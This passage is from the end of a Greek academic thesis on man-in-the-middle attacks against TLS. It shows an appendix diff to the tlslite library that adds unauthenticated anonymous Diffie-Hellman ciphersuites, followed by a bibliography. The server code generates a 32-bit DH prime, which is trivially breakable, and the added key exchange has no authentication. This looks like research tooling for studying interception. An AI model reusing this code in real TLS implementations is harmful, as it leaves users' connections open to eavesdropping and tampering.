"""Create a new HTTPTLSConnection.
For client authentication, use one of these argument
@@ -105,7 +106,8 @@ class HTTPTLSConnection(httplib.HTTPConnection, ClientHelper):
x509Fingerprint,
tackID,
hardTack,
- settings)
+ settings,
+ anon)
def connect(self):
httplib.HTTPConnection.connect(self)
diff --git a/tlslite/messages.py b/tlslite/messages.py
index 2ba8810..905557b 100755
--- a/tlslite/messages.py
+++ b/tlslite/messages.py
@@ -365,6 +365,11 @@ class ServerKeyExchange(HandshakeMsg):
self.srp_g = 0L
self.srp_s = createByteArraySequence([])
self.srp_B = 0L
+ self.dh_p = 0L
+ self.dh_g = 0L
+ self.dh_Ys = 0L
+ self.rsa_modulus = 0L
+ self.rsa_exponent = 0L
Δημήτρης Μωραϊτης 115
Επιθέσεις ενδιάμεσου στο πρωτόκολλο TLS
self.signature = createByteArraySequence([])
def createSRP(self, srp_N, srp_g, srp_s, srp_B):
@@ -373,26 +378,53 @@ class ServerKeyExchange(HandshakeMsg):
self.srp_s = srp_s
self.srp_B = srp_B
return self
+
+ def createDH(self, dh_p, dh_g, dh_Ys):
+ self.dh_p = dh_p
+ self.dh_g = dh_g
+ self.dh_Ys = dh_Ys
+ return self
def parse(self, p):
p.startLengthCheck(3)
- self.srp_N = bytesToNumber(p.getVarBytes(2))
- self.srp_g = bytesToNumber(p.getVarBytes(2))
- self.srp_s = p.getVarBytes(1)
- self.srp_B = bytesToNumber(p.getVarBytes(2))
- if self.cipherSuite in CipherSuite.srpCertSuites:
- self.signature = p.getVarBytes(2)
+ if self.cipherSuite in CipherSuite.srpSuites + \
+ CipherSuite.srpCertSuites:
+ self.srp_N = bytesToNumber(p.getVarBytes(2))
+ self.srp_g = bytesToNumber(p.getVarBytes(2))
+ self.srp_s = p.getVarBytes(1)
+ self.srp_B = bytesToNumber(p.getVarBytes(2))
+ if self.cipherSuite in CipherSuite.srpCertSuites:
+ self.signature = p.getVarBytes(2)
+ elif self.cipherSuite in CipherSuite.certSuites:
+ self.rsa_modulus = bytesToNumber(p.getVarBytes(2))
+ self.rsa_exponent = bytesToNumber(p.getVarBytes(2))
Δημήτρης Μωραϊτης 116
Επιθέσεις ενδιάμεσου στο πρωτόκολλο TLS
+ elif self.cipherSuite in CipherSuite.anonSuites:
+ self.dh_p = bytesToNumber(p.getVarBytes(2))
+ self.dh_g = bytesToNumber(p.getVarBytes(2))
+ self.dh_Ys = bytesToNumber(p.getVarBytes(2))
p.stopLengthCheck()
return self
def write(self):
w = Writer()
- w.addVarSeq(numberToBytes(self.srp_N), 1, 2)
- w.addVarSeq(numberToBytes(self.srp_g), 1, 2)
- w.addVarSeq(self.srp_s, 1, 1)
- w.addVarSeq(numberToBytes(self.srp_B), 1, 2)
- if self.cipherSuite in CipherSuite.srpCertSuites:
- w.addVarSeq(self.signature, 1, 2)
+ if self.cipherSuite in CipherSuite.srpAllSuites:
+ w.addVarSeq(numberToBytes(self.srp_N), 1, 2)
+ w.addVarSeq(numberToBytes(self.srp_g), 1, 2)
+ w.addVarSeq(self.srp_s, 1, 1)
+ w.addVarSeq(numberToBytes(self.srp_B), 1, 2)
+ if self.cipherSuite in CipherSuite.srpCertSuites:
+ w.addVarSeq(self.signature, 1, 2)
+ elif self.cipherSuite in CipherSuite.certSuites:
+ w.addVarSeq(numberToBytes(self.rsa_modulus), 1, 2)
+ w.addVarSeq(numberToBytes(self.rsa_exponent), 1, 2)
+ if self.cipherSuite in []: # TODO support for signed_params
+ w.addVarSeq(self.signature, 1, 2)
+ elif self.cipherSuite in CipherSuite.anonSuites:
+ w.addVarSeq(numberToBytes(self.dh_p), 1, 2)
+ w.addVarSeq(numberToBytes(self.dh_g), 1, 2)
+ w.addVarSeq(numberToBytes(self.dh_Ys), 1, 2)
+ if self.cipherSuite in []: # TODO support for signed_params
+ w.addVarSeq(self.signature, 1, 2)
return self.postWrite(w)
Δημήτρης Μωραϊτης 117
Επιθέσεις ενδιάμεσου στο πρωτόκολλο TLS
def hash(self, clientRandom, serverRandom):
@@ -436,7 +468,11 @@ class ClientKeyExchange(HandshakeMsg):
def createRSA(self, encryptedPreMasterSecret):
self.encryptedPreMasterSecret = encryptedPreMasterSecret
return self
-
+
+ def createDH(self, dh_Yc):
+ self.dh_Yc = dh_Yc
+ return self
+
def parse(self, p):
p.startLengthCheck(3)
if self.cipherSuite in CipherSuite.srpAllSuites:
@@ -449,6 +485,8 @@ class ClientKeyExchange(HandshakeMsg):
p.getFixBytes(len(p.bytes)-p.index)
else:
raise AssertionError()
+ elif self.cipherSuite in CipherSuite.anonSuites:
+ self.dh_Yc = bytesToNumber(p.getVarBytes(2))
else:
raise AssertionError()
p.stopLengthCheck()
@@ -465,6 +503,8 @@ class ClientKeyExchange(HandshakeMsg):
w.addFixSeq(self.encryptedPreMasterSecret, 1)
else:
raise AssertionError()
+ elif self.cipherSuite in CipherSuite.anonSuites:
+ w.addVarSeq(numberToBytes(self.dh_Yc), 1, 2)
else:
raise AssertionError()
return self.postWrite(w)
Δημήτρης Μωραϊτης 118
Επιθέσεις ενδιάμεσου στο πρωτόκολλο TLS
diff --git a/tlslite/tlsconnection.py b/tlslite/tlsconnection.py
index 5608b42..7f4fbd1 100755
--- a/tlslite/tlsconnection.py
+++ b/tlslite/tlsconnection.py
@@ -60,6 +60,66 @@ class TLSConnection(TLSRecordLayer):
# Client Handshake Functions
#*********************************************************
+ def handshakeClientAnonymous(self, session=None, settings=None, checker=None,
+ async=False):
+ """Perform an anonymous handshake in the role of client.
+
+ This function performs an SSL or TLS handshake using an
+ anonymous Diffie Hellman ciphersuite.
+
+ Like any handshake function, this can be called on a closed
+ TLS connection, or on a TLS connection that is already open.
+ If called on an open connection it performs a re-handshake.
+
+ If the function completes without raising an exception, the
+ TLS connection will be open and available for data transfer.
+
+ If an exception is raised, the connection will have been
+ automatically closed (if it was ever open).
+
+ @type session: Ltlslite.Session.Session
+ @param session: A TLS session to attempt to resume. If the
+ resumption does not succeed, a full handshake will be
+ performed.
+
+ @type settings: Ltlslite.HandshakeSettings.HandshakeSettings
+ @param settings: Various settings which can be used to control
Δημήτρης Μωραϊτης 119
Επιθέσεις ενδιάμεσου στο πρωτόκολλο TLS
+ the ciphersuites, certificate types, and SSL/TLS versions
+ offered by the client.
+
+ @type checker: Ltlslite.Checker.Checker
+ @param checker: A Checker instance. This instance will be
+ invoked to examine the other party's authentication
+ credentials, if the handshake completes succesfully.
+
+ @type async: bool
+ @param async: If False, this function will block until the
+ handshake is completed. If True, this function will return a
+ generator. Successive invocations of the generator will
+ return 0 if it is waiting to read from the socket, 1 if it is
+ waiting to write to the socket, or will raise StopIteration if
+ the handshake operation is completed.
+
+ @rtype: None or an iterable
+ @return: If 'async' is True, a generator object will be
+ returned.
+
+ @raise socket.error: If a socket error occurs.
+ @raise tlslite.errors.TLSAbruptCloseError: If the socket is closed
+ without a preceding alert.
+ @raise tlslite.errors.TLSAlert: If a TLS alert is signalled.
+ @raise tlslite.errors.TLSAuthenticationError: If the checker
+ doesn't like the other party's authentication credentials.
+ """
+ handshaker = self._handshakeClientAsync(anonParams=(True),
+ session=session,
+ settings=settings,
+ checker=checker)
+ if async:
+ return handshaker
Δημήτρης Μωραϊτης 120
Επιθέσεις ενδιάμεσου στο πρωτόκολλο TLS
+ for result in handshaker:
+ pass
+
def handshakeClientSRP(self, username, password, session=None,
settings=None, checker=None,
reqTack=False, async=False):
@@ -225,12 +285,13 @@ class TLSConnection(TLSRecordLayer):
pass
- def _handshakeClientAsync(self, srpParams=(), certParams=(),
+ def _handshakeClientAsync(self, srpParams=(), certParams=(), anonParams=(),
session=None, settings=None, checker=None,
reqTack=False):
handshaker = self._handshakeClientAsyncHelper(srpParams=srpParams,
certParams=certParams,
+ anonParams=anonParams,
session=session,
settings=settings,
reqTack=reqTack)
@@ -238,7 +299,7 @@ class TLSConnection(TLSRecordLayer):
yield result
- def _handshakeClientAsyncHelper(self, srpParams, certParams,
+ def _handshakeClientAsyncHelper(self, srpParams, certParams, anonParams,
session, settings, reqTack):
self._handshakeStart(client=True)
@@ -249,13 +310,18 @@ class TLSConnection(TLSRecordLayer):
clientCertChain = None # certParams[0]
privateKey = None # certParams[1]
Δημήτρης Μωραϊτης 121
Επιθέσεις ενδιάμεσου στο πρωτόκολλο TLS
- # Allow only one of (srpParams, certParams)
+ # Allow only one of (srpParams, certParams, anonParams)
if srpParams:
assert(not certParams)
+ assert(not anonParams)
srpUsername, password = srpParams
if certParams:
assert(not srpParams)
+ assert(not anonParams)
clientCertChain, privateKey = certParams
+ if anonParams:
+ assert(not certParams)
+ assert(not srpParams)
#Validate parameters
if srpUsername and not password:
@@ -308,7 +374,7 @@ class TLSConnection(TLSRecordLayer):
# Send the ClientHello.
for result in self._clientSendClientHello(settings, session,
srpUsername, srpParams, certParams,
- reqTack):
+ anonParams, reqTack):
if result in (0,1): yield result
else: break
clientHello = result
@@ -341,8 +407,16 @@ class TLSConnection(TLSRecordLayer):
serverHello.tackExt):
if result in (0,1): yield result
else: break
- (premasterSecret, serverCertChain, tackExt) = result
-
+ (premasterSecret, serverCertChain, tackExt) = result
Δημήτρης Μωραϊτης 122
Επιθέσεις ενδιάμεσου στο πρωτόκολλο TLS
+ #If the server selected an anonymous ciphersuite, the client
+ #finishes reading the post-ServerHello messages.
+ elif cipherSuite in CipherSuite.anonSuites:
+ for result in self._clientAnonKeyExchange(settings, cipherSuite,
+ clientHello.random, serverHello.random):
+ if result in (0,1): yield result
+ else: break
+ (premasterSecret, serverCertChain, tackExt) = result
+
#If the server selected a certificate-based RSA ciphersuite,
#the client finishes reading the post-ServerHello messages. If
#a CertificateRequest message was sent, the client responds with
@@ -379,13 +453,15 @@ class TLSConnection(TLSRecordLayer):
def _clientSendClientHello(self, settings, session, srpUsername,
- srpParams, certParams, reqTack):
+ srpParams, certParams, anonParams, reqTack):
#Initialize acceptable ciphersuites
cipherSuites = [CipherSuite.TLS_EMPTY_RENEGOTIATION_INFO_SCSV]
if srpParams:
cipherSuites += CipherSuite.getSrpAllSuites(settings.cipherNames)
elif certParams:
cipherSuites += CipherSuite.getCertSuites(settings.cipherNames)
+ elif anonParams:
+ cipherSuites += CipherSuite.getAnonSuites(settings.cipherNames)
else:
cipherSuites += CipherSuite.getCertSuites(settings.cipherNames)
@@ -719,9 +795,40 @@ class TLSConnection(TLSRecordLayer):
yield result
yield (premasterSecret, serverCertChain, clientCertChain, tackExt)
Δημήτρης Μωραϊτης 123
Επιθέσεις ενδιάμεσου στο πρωτόκολλο TLS
+ def _clientAnonKeyExchange(self, settings, cipherSuite, clientRandom,
+ serverRandom):
+ for result in self._getMsg(ContentType.handshake,
+ HandshakeType.server_key_exchange, cipherSuite):
+ if result in (0,1): yield result
+ else: break
+ serverKeyExchange = result
+
+ for result in self._getMsg(ContentType.handshake,
+ HandshakeType.server_hello_done):
+ if result in (0,1): yield result
+ else: break
+ serverHelloDone = result
+
+ #calculate Yc
+ dh_p = serverKeyExchange.dh_p
+ dh_g = serverKeyExchange.dh_g
+ dh_Xc = bytesToNumber(getRandomBytes(32))
+ dh_Ys = serverKeyExchange.dh_Ys
+ dh_Yc = powMod(dh_g, dh_Xc, dh_p)
+
+ #Send ClientKeyExchange
+ for result in self._sendMsg(\
+ ClientKeyExchange(cipherSuite, self.version).createDH(dh_Yc)):
+ yield result
+
+ #Calculate premaster secret
+ S = powMod(dh_Ys, dh_Xc, dh_p)
+ premasterSecret = numberToBytes(S)
+
+ yield (premasterSecret, None, None)
+
def _clientFinished(self, premasterSecret, clientRandom, serverRandom,
Δημήτρης Μωραϊτης 124
Επιθέσεις ενδιάμεσου στο πρωτόκολλο TLS
- cipherSuite, cipherImplementations):
-
+ cipherSuite, cipherImplementations):
masterSecret = calcMasterSecret(self.version, premasterSecret,
clientRandom, serverRandom)
self._calcPendingStates(cipherSuite, masterSecret,
@@ -779,7 +886,7 @@ class TLSConnection(TLSRecordLayer):
def handshakeServer(self, verifierDB=None,
certChain=None, privateKey=None, reqCert=False,
sessionCache=None, settings=None, checker=None,
- reqCAs = None, tack=None, breakSigs=None):
+ reqCAs = None, tack=None, breakSigs=None, anon=False):
"""Perform a handshake in the role of server.
This function performs an SSL or TLS handshake. Depending on
@@ -852,14 +959,15 @@ class TLSConnection(TLSRecordLayer):
"""
for result in self.handshakeServerAsync(verifierDB,
certChain, privateKey, reqCert, sessionCache, settings,
- checker, reqCAs, tack=tack, breakSigs=breakSigs):
+ checker, reqCAs, tack=tack, breakSigs=breakSigs, anon=anon):
pass
def handshakeServerAsync(self, verifierDB=None,
certChain=None, privateKey=None, reqCert=False,
sessionCache=None, settings=None, checker=None,
- reqCAs=None, tack=None, breakSigs=None):
+ reqCAs=None, tack=None, breakSigs=None,
+ anon=False):
"""Start a server handshake operation on the TLS connection.
This function returns a generator which behaves similarly to
Δημήτρης Μωραϊτης 125
Επιθέσεις ενδιάμεσου στο πρωτόκολλο TLS
@@ -875,18 +983,18 @@ class TLSConnection(TLSRecordLayer):
verifierDB=verifierDB, certChain=certChain,
privateKey=privateKey, reqCert=reqCert,
sessionCache=sessionCache, settings=settings,
- reqCAs=reqCAs, tack=tack, breakSigs=breakSigs)
+ reqCAs=reqCAs, tack=tack, breakSigs=breakSigs, anon=anon)
for result in self._handshakeWrapperAsync(handshaker, checker):
yield result
def _handshakeServerAsyncHelper(self, verifierDB,
certChain, privateKey, reqCert, sessionCache,
- settings, reqCAs, tack, breakSigs):
+ settings, reqCAs, tack, breakSigs, anon):
self._handshakeStart(client=False)
- if (not verifierDB) and (not certChain):
+ if (not verifierDB) and (not certChain) and not anon:
raise ValueError("Caller passed no authentication credentials")
if certChain and not privateKey:
raise ValueError("Caller passed a certChain but no privateKey")
@@ -908,7 +1016,8 @@ class TLSConnection(TLSRecordLayer):
# Handle ClientHello and resumption
for result in self._serverGetClientHello(settings, certChain,\
- verifierDB, sessionCache):
+ verifierDB, sessionCache,
+ anon):
if result in (0,1): yield result
elif result == None:
self._handshakeDone(resumed=True)
@@ -948,7 +1057,6 @@ class TLSConnection(TLSRecordLayer):
Δημήτρης Μωραϊτης 126
Επιθέσεις ενδιάμεσου στο πρωτόκολλο TLS
else: break
premasterSecret = result
-
# Perform the RSA key exchange
elif cipherSuite in CipherSuite.certSuites:
for result in self._serverCertKeyExchange(clientHello, serverHello,
@@ -959,7 +1067,15 @@ class TLSConnection(TLSRecordLayer):
else: break
(premasterSecret, clientCertChain) = result
- # Exchange Finished messages
+ # Perform anonymous Diffie Hellman key exchange
+ elif cipherSuite in CipherSuite.anonSuites:
+ for result in self._serverAnonKeyExchange(clientHello, serverHello,
+ cipherSuite, settings):
+ if result in (0,1): yield result
+ else: break
+ premasterSecret = result
+
+ # Exchange Finished messages
for result in self._serverFinished(premasterSecret,
clientHello.random, serverHello.random,
cipherSuite, settings.cipherImplementations):
@@ -985,7 +1101,7 @@ class TLSConnection(TLSRecordLayer):
def _serverGetClientHello(self, settings, certChain, verifierDB,
- sessionCache):
+ sessionCache, anon):
#Initialize acceptable cipher suites
cipherSuites = []
if verifierDB:
Δημήτρης Μωραϊτης 127
Επιθέσεις ενδιάμεσου στο πρωτόκολλο TLS
@@ -995,8 +1111,11 @@ class TLSConnection(TLSRecordLayer):
cipherSuites += CipherSuite.getSrpSuites(settings.cipherNames)
elif certChain:
cipherSuites += CipherSuite.getCertSuites(settings.cipherNames)
- else:
+ elif not anon:
assert(False)
+
+ if anon:
+ cipherSuites += CipherSuite.getAnonSuites(settings.cipherNames)
#Tentatively set version to most-desirable version, so if an error
#occurs parsing the ClientHello, this is what we'll use for the
@@ -1025,7 +1144,7 @@ class TLSConnection(TLSRecordLayer):
else:
#Set the version to the client's version
self.version = clientHello.client_version
-
+
#If resumption was requested and we have a session cache...
if clientHello.session_id and sessionCache:
session = None
@@ -1101,7 +1220,6 @@ class TLSConnection(TLSRecordLayer):
AlertDescription.handshake_failure,
"No mutual ciphersuite"):
yield result
-
if cipherSuite in CipherSuite.srpAllSuites and \
not clientHello.srp_username:
for result in self._sendError(\
@@ -1116,7 +1234,7 @@ class TLSConnection(TLSRecordLayer):
AlertDescription.handshake_failure,
"the client doesn't support my certificate type"):
Δημήτρης Μωραϊτης 128
Επιθέσεις ενδιάμεσου στο πρωτόκολλο TLS
yield result
-
+
# If resumption was not requested, or
# we have no session cache, or
# the client's session_id was not found in cache:
@@ -1310,13 +1428,60 @@ class TLSConnection(TLSRecordLayer):
yield (premasterSecret, clientCertChain)
+ def _serverAnonKeyExchange(self, clientHello, serverHello, cipherSuite,
+ settings):
+ # Calculate DH p, g, Xs, Ys
+ dh_p = getRandomSafePrime(32, False)
+ dh_g = getRandomNumber(2, dh_p)
+ dh_Xs = bytesToNumber(getRandomBytes(32))
+ dh_Ys = powMod(dh_g, dh_Xs, dh_p)
+
+ #Create ServerKeyExchange
+ serverKeyExchange = ServerKeyExchange(cipherSuite)
+ serverKeyExchange.createDH(dh_p, dh_g, dh_Ys)
+
+ #Send ServerHello[, Certificate], ServerKeyExchange,
+ #ServerHelloDone
+ msgs = []
+ msgs.append(serverHello)
+ msgs.append(serverKeyExchange)
+ msgs.append(ServerHelloDone())
+ for result in self._sendMsgs(msgs):
+ yield result
+
+ #From here on, the client's messages must have the right version
+ self._versionCheck = True
Δημήτρης Μωραϊτης 129
Επιθέσεις ενδιάμεσου στο πρωτόκολλο TLS
+
+ #Get and check ClientKeyExchange
+ for result in self._getMsg(ContentType.handshake,
+ HandshakeType.client_key_exchange,
+ cipherSuite):
+ if result in (0,1):
+ yield result
+ else:
+ break
+ clientKeyExchange = result
+ dh_Yc = clientKeyExchange.dh_Yc
+
+ if dh_Yc % dh_p == 0:
+ for result in self._sendError(AlertDescription.illegal_parameter,
+ "Suspicious dh_Yc value"):
+ yield result
+ assert(False) # Just to ensure we don't fall through somehow
+
+ #Calculate premaster secre
+ S = powMod(dh_Yc,dh_Xs,dh_p)
+ premasterSecret = numberToBytes(S)
+
+ yield premasterSecret
+
def _serverFinished(self, premasterSecret, clientRandom, serverRandom,
cipherSuite, cipherImplementations):
-
+
masterSecret = calcMasterSecret(self.version, premasterSecret,
clientRandom, serverRandom)
-
Δημήτρης Μωραϊτης 130
Επιθέσεις ενδιάμεσου στο πρωτόκολλο TLS
+
#Calculate pending connection states
self._calcPendingStates(cipherSuite, masterSecret,
clientRandom, serverRandom,
Δημήτρης Μωραϊτης 131
Επιθέσεις ενδιάμεσου στο πρωτόκολλο TLS
Δημήτρης Μωραϊτης 132
Επιθέσεις ενδιάμεσου στο πρωτόκολλο TLS
ΑΝΑΦΟΡΕΣ
[1] T. Dierks, C. Allen, The TLS Protocol version 1.2, IETF, January 2008[2] Transport Layer Security, Wikipedia[3] IETF Networking Group, Internet X.509 Public Key Infrastructure Certificate and Certificate
Revocation List (CRL) Profile, May 2008[4] X.509, Wikipedia[5] Peter Gutmann, PKI: It’s not dead, just resting, IEEE Computer Society, November 2002[6] Christopher Soghoian and Sid Stamm, “Certified Lies: Detecting and Defeating Government
Interception Attacks Against SSL”[7] Dan Kaminsky, Black Ops of PKI, 26th Chaos Communication Congress 2009 [8] Alexander Sotirov, Marc Stevens, Jacob Appelbaum, Arjen Lenstra, David Molnar, Dag Arne
Osvik, Benne de Weger, Short Chosen-Prefix collisions for MD5 and the creation of a rogue CA certificate, International Journal of Applied Cryptography 2009
[9] Moxie Marlinspike, Null prefix attacks against SSL/TLS certificates[10] Moxie Marlinspike, More Tricks For Defeating SSL, Defcon 17[11] Moxie Marlinspike, Defeating OCSP with the character ‘3’[12] E. Rescorla, M. Ray, S. Dispensa, N. Oskov, RFC5746: Transport Layer Security (TLS)
Renegotiation Indication Extension, IETF, February 2010[13] Jacob Appelbaum, Tor project, Detecting Certificate Authority compromises and web
browser collusion[14] Chris Evans & Chris Palmer, Certificate pinning via HSTS, Google, September 2011 [15] Adam Langley & Ben Laurie, Certificate Authority Transparency and Auditability, Google,
November 2001[16] D. Taylor, T. Wu, N. Mavrogiannopoulos, T. Perrin, Using the Secure Remote Password
(SRP) Protocol for TLS Authentication, IETF[17] Moxie Marlinspike, SSL And The Future Of Authenticity, moving beyond certificate
authorities, Blackhat security conference, 2011[18] Moxie Marlinspike, Convergence.io: An agile, distributed and secure strategy for replacing
Certificate Authorities[19] Dan Wendlandt, David G. Andersen, Adrian Perrig, Perspectives: Improving SSH-style Host
Authentication with Multi-Path Probing[20] Adam Langley & Ben Laurie, Certificate Authority Transparency and Auditability, Google,
November 2011[21] Whitfield Diffie and Moxie Marlinspike talk about certificate authorities, DNSSEC, SSL, dane
& trust agility, Defcon 19, October 2011[22] EFF, SSL Observatory, https://www.eff.org/observatory[23] EFF, The Sovereign Keys project, https :// www . eff . org / sovereign - keys
[24] GlobalSign, Security Incident Report, November 2011, http :// www . globalsign . co . uk / company / press /121411- security - incident - report . html
[25] Peter Eckersley, Iranian hackers obtain fraudulent HTTPS certificates: How close to a Web security meltdown did we get?, EFF, September 2011
[26] Feike Hacquebord, Diginotar: Iranians the real target,Trend Micro Labs, September 2011[27] Peter Eckersley, Syrian man in the middle attack against Facebook, EFF, May 2011[28] Trustwave Admits Issuing Man-in-the-middle Digital Certificate, Mozilla Debates
PunishmentPCWorld, February 2012
[29] Adam Langley, Why not Convergence?, Google, September 2011[30] Dan Boneh , Matthew Franklin, Identity-based encryption from the Weil pairing, 2001[31] Michael Szydlo, Recent Improvements in the Efficient Use of Merkle Trees: Additional
Options for the Long Term, RSA Laboratories, March 2004
Δημήτρης Μωραϊτης 133